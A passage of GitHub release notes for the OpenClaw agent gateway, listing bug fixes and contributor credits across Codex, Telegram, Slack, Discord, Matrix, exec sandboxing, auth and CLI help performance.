data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Control UI: distinguish inherited thinking-off settings from explicit Off selections so the thinking selector no longer shows two identical Off rows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499864598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85223" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85223/hovercard" href="https://github.com/openclaw/openclaw/pull/85223">#85223</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Agents/Pi: keep embedded session transcript writes from tripping false takeover detection after packaged npm onboarding agent turns.</li>
<li>Codex/TUI: surface Codex-native post-turn compaction failures instead of continuing uncompacted, and keep successful native compaction serialized before local idle/next-turn handling. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4480907550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84305" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84305/hovercard" href="https://github.com/openclaw/openclaw/issues/84305">#84305</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499073217" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85160" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85160/hovercard" href="https://github.com/openclaw/openclaw/pull/85160">#85160</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Memory/search: stop recall tracking from writing dreaming side-effect artifacts when <code>dreaming.enabled=false</code>, while preserving normal search results. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483132130" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84436" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84436/hovercard" href="https://github.com/openclaw/openclaw/issues/84436">#84436</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483302640" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84444" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84444/hovercard" href="https://github.com/openclaw/openclaw/pull/84444">#84444</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Diffs: render viewer toolbar icons from a closed icon-name map instead of HTML strings, removing the toolbar icon XSS sink. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474146520" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83955" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83955/hovercard" href="https://github.com/openclaw/openclaw/pull/83955">#83955</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tanshanshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tanshanshan">@tanshanshan</a>.</li>
<li>QA: keep <code>pnpm qa:e2e</code> self-check runs inside the private QA runtime envelope even when inherited shell env disables bundled plugins.</li>
<li>fix(config): validate browser sandbox bind sources [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491649611" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84799" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84799/hovercard" href="https://github.com/openclaw/openclaw/pull/84799">#84799</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>doctor: constrain legacy plugin cleanup paths [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491667697" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84801" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84801/hovercard" href="https://github.com/openclaw/openclaw/pull/84801">#84801</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Update/doctor: prune stale local bundled plugin install records that point at old compiled bundled output so current bundled plugin schemas win after upgrade. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492494073" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84863" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84863/hovercard" href="https://github.com/openclaw/openclaw/pull/84863">#84863</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Providers/Ollama: preserve native Ollama tool-call IDs across assistant replay so Gemini over Ollama Cloud can keep its hidden function-call thought-signature handle.</li>
<li>Discord: keep session recovery and <code>/stop</code> abort ownership on the source dispatch lane while bound ACP turns continue routing to their target session, so stalled pre-run work and late replies are cleared instead of leaking after stop. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483895207" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84477" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84477/hovercard" href="https://github.com/openclaw/openclaw/issues/84477">#84477</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497982606" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85100" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85100/hovercard" href="https://github.com/openclaw/openclaw/pull/85100">#85100</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Discord/voice-call: keep forced realtime voice consult diagnostics in debug logs instead of agent prompts, so callers do not hear OpenClaw policy text when the provider misses <code>openclaw_agent_consult</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482803751" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84411" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84411/hovercard" href="https://github.com/openclaw/openclaw/pull/84411">#84411</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Codex app-server: mark missing turn completion after observed execution as replay-unsafe and release the session so follow-up turns can run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476289375" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84076" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84076/hovercard" href="https://github.com/openclaw/openclaw/issues/84076">#84076</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498078569" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85107" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85107/hovercard" href="https://github.com/openclaw/openclaw/pull/85107">#85107</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Codex app-server: give visible <code>message</code> dynamic tool sends a longer timeout budget so slow channel delivery can return its own result or error instead of hitting the 30-second Codex wrapper. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499812848" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85216" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85216/hovercard" href="https://github.com/openclaw/openclaw/pull/85216">#85216</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Codex app-server: add a dedicated post-tool raw assistant completion idle timeout config so trusted heavy turns can wait longer after tool handoff without weakening final assistant release.</li>
<li>Matrix: keep explicitly configured two-person rooms on the room route before stale <code>m.direct</code> or strict two-member DM fallback can bypass mention gating. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496136567" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85017" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85017/hovercard" href="https://github.com/openclaw/openclaw/issues/85017">#85017</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498803495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85137" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85137/hovercard" href="https://github.com/openclaw/openclaw/pull/85137">#85137</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Agents/subagents: require explicit subagent allowlist targets to be configured agents so stale deleted-agent ids are omitted from <code>agents_list</code> and rejected by <code>sessions_spawn</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491844371" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84811" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84811/hovercard" href="https://github.com/openclaw/openclaw/issues/84811">#84811</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499010254" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85154" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85154/hovercard" href="https://github.com/openclaw/openclaw/pull/85154">#85154</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>PDF tool: time out idle remote PDF body reads after 120 seconds so stalled remote documents return an error instead of wedging the session. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4288676163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68649" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68649/hovercard" href="https://github.com/openclaw/openclaw/issues/68649">#68649</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491207985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84768" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84768/hovercard" href="https://github.com/openclaw/openclaw/pull/84768">#84768</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</li>
<li>Diagnostics/OpenTelemetry plugin: suppress handled OTLP exporter promise rejections so collector shutdowns no longer crash the Gateway. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4430729094" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81085" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81085/hovercard" href="https://github.com/openclaw/openclaw/pull/81085">#81085</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</li>
<li>Agents/exec: omit raw command text and env values from denied exec failure logs while keeping safe correlation metadata. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496830927" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85049" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85049/hovercard" href="https://github.com/openclaw/openclaw/issues/85049">#85049</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498838754" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85140" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85140/hovercard" href="https://github.com/openclaw/openclaw/pull/85140">#85140</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Media-understanding: restore the 4096-token default for image descriptions so reasoning-capable vision models no longer truncate before returning text, while preserving smaller model caps. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494048283" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84932" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84932/hovercard" href="https://github.com/openclaw/openclaw/pull/84932">#84932</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scotthuang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scotthuang">@scotthuang</a>.</li>
<li>Media/audio: skip empty structured sherpa-onnx transcripts instead of treating the raw JSON payload as spoken text. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488983460" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84667" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84667/hovercard" href="https://github.com/openclaw/openclaw/pull/84667">#84667</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Agents/exec: preserve inherited XDG base-directory environment values for subprocesses while still rejecting agent-supplied XDG overrides. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492278181" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84854" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84854/hovercard" href="https://github.com/openclaw/openclaw/issues/84854">#84854</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498820649" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85139" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85139/hovercard" href="https://github.com/openclaw/openclaw/pull/85139">#85139</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Node/Linux: keep <code>OPENCLAW_GATEWAY_TOKEN</code> out of generated systemd unit files by writing node service token values to a node-specific env file. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482764578" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84408/hovercard" href="https://github.com/openclaw/openclaw/pull/84408">#84408</a>)</li>
<li>Memory-core/dreaming: reuse stable narrative subagent session keys per workspace and phase while keeping per-run idempotency and bounded cleanup, so stale <code>dreaming-narrative-*</code> sessions do not accumulate. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4284837574" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68252" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68252/hovercard" href="https://github.com/openclaw/openclaw/issues/68252">#68252</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4293065762" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69187" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69187/hovercard" href="https://github.com/openclaw/openclaw/issues/69187">#69187</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4312560097" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70402" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70402/hovercard" href="https://github.com/openclaw/openclaw/issues/70402">#70402</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313300565" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70464" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70464/hovercard" href="https://github.com/openclaw/openclaw/pull/70464">#70464</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chiyouYCH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chiyouYCH">@chiyouYCH</a>.</li>
<li>Trajectory/support: tolerate partial skill snapshot entries when building support metadata so rejected skill path scans no longer abort trajectory capture. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4324624469" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71185" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71185/hovercard" href="https://github.com/openclaw/openclaw/pull/71185">#71185</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lukeboyett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lukeboyett">@lukeboyett</a>.</li>
<li>TUI: coalesce repeated idle Esc abort notices into a single <code>no active run xN</code> system row instead of appending duplicate rows.</li>
<li>Telegram: honor <code>channels.telegram.pollingStallThresholdMs</code> in the default isolated polling path, restarting silent workers instead of leaving inbound updates wedged. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474114528" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83950" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83950/hovercard" href="https://github.com/openclaw/openclaw/issues/83950">#83950</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492438443" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84861" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84861/hovercard" href="https://github.com/openclaw/openclaw/pull/84861">#84861</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Telegram: dedupe replayed message dispatches by Telegram chat/message identity so isolated-ingress replays do not trigger duplicate model dispatches. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493044796" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84886" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84886/hovercard" href="https://github.com/openclaw/openclaw/issues/84886">#84886</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499730658" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85208" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85208/hovercard" href="https://github.com/openclaw/openclaw/pull/85208">#85208</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Slack: suppress reasoning payloads before reply delivery and dispatch accounting, so Slack monitor, slash-command, fallback, and direct reply paths do not leak model reasoning. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481035938" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84319" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84319/hovercard" href="https://github.com/openclaw/openclaw/issues/84319">#84319</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4481083191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84322" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84322/hovercard" href="https://github.com/openclaw/openclaw/pull/84322">#84322</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ffluk3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ffluk3">@ffluk3</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Slack: deliver native plugin approval prompts and updates when Slack native approvals are enabled, while keeping plugin approval authorization separate from exec approvers.</li>
<li>Slack: keep native plugin approval prompts in the originating app conversation thread when the live Slack turn source is a <code>D...</code> conversation.</li>
<li>Agents/Pi: disable the embedded pi-coding-agent runtime auto-retry so OpenClaw's own retry and failover loop does not replay failed tool calls through a nested SDK retry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345792398" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73781" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73781/hovercard" href="https://github.com/openclaw/openclaw/issues/73781">#73781</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351648711" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74434" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74434/hovercard" href="https://github.com/openclaw/openclaw/pull/74434">#74434</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yelog/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yelog">@yelog</a>.</li>
<li>CLI/perf: keep <code>setup --help</code>, <code>onboard --help</code>, and <code>configure --help</code> out of the full wizard runtime while preserving the existing help output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484116150" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84488" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84488/hovercard" href="https://github.com/openclaw/openclaw/pull/84488">#84488</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
<li>CLI/perf: keep <code>agents --help</code> out of agents action/runtime imports so help, completion, and command discovery paths avoid loading the full agents runtime. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484034054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84483" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84483/hovercard" href="https://github.com/openclaw/openclaw/pull/84483">#84483</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
<li>CLI/perf: keep <code>secrets --help</code> and <code>nodes --help</code> on the precomputed help path so parent help avoids loading action-heavy command runtime modules. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491951847" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84818" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84818/hovercard" href="https://github.com/openclaw/openclaw/pull/84818">#84818</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
<li>CLI/perf: serve <code>doctor</code>, <code>gateway</code>, <code>models</code>, and <code>plugins</code> parent help from startup metadata so common subcommand help avoids full CLI program construction. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491522584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84786" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84786/hovercard" href="https://github.com/openclaw/openclaw/pull/84786">#84786</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
<li>Codex/Lossless: keep context-engine history on the canonical run session when Telegram DMs use per-peer runtime policy keys. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494202248" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84936" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84936/hovercard" href="https://github.com/openclaw/openclaw/issues/84936">#84936</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494744767" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84954" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84954/hovercard" href="https://github.com/openclaw/openclaw/pull/84954">#84954</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Codex: keep heartbeat response tool schemas durable without exposing dynamic tools disabled by turn policy, so heartbeat wakeups can reuse threads while scoped tool allowlists stay enforced. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4489377860" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84681" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84681/hovercard" href="https://github.com/openclaw/openclaw/pull/84681">#84681</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jalehman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jalehman">@jalehman</a>.</li>
<li>Auth/OAuth: skip the refresh adapter when a stored OAuth credential has no refresh token so agent turns fail fast on missing-key instead of waiting on the 120s refresh timeout. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Auth/Codex: load legacy OAuth sidecar credentials in the embedded runner's secrets-runtime auth loaders so Telegram replies, cron-triggered turns, and other isolated sub-agent lanes can reach the existing <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465275872" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83312" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83312/hovercard" href="https://github.com/openclaw/openclaw/pull/83312">#83312</a> refresh-and-rewrite migration instead of failing with <code>No API key found for provider "openai-codex"</code> until the user runs <code>openclaw doctor</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Totalsolutionsync/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Totalsolutionsync">@Totalsolutionsync</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Codex/failover: classify <code>deactivated_workspace</code> as a permanent auth failure so configured fallback models can advance when a Codex workspace is deactivated. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4154052542" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55893" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/55893/hovercard" href="https://github.com/openclaw/openclaw/pull/55893">#55893</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/litang9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/litang9">@litang9</a>.</li>
<li>Exec: keep configured <code>tools.exec.pathPrepend</code> entries ahead of user shell startup PATH changes on POSIX gateway runs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4437943475" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81403" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81403/hovercard" href="https://github.com/openclaw/openclaw/pull/81403">#81403</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/medns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/medns">@medns</a>.</li>
<li>Gateway/sessions: allow shared-secret bearer callers to read and stream session history without an explicit scope header. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4446205215" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81815" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81815/hovercard" href="https://github.com/openclaw/openclaw/pull/81815">#81815</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/medns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/medns">@medns</a>.</li>
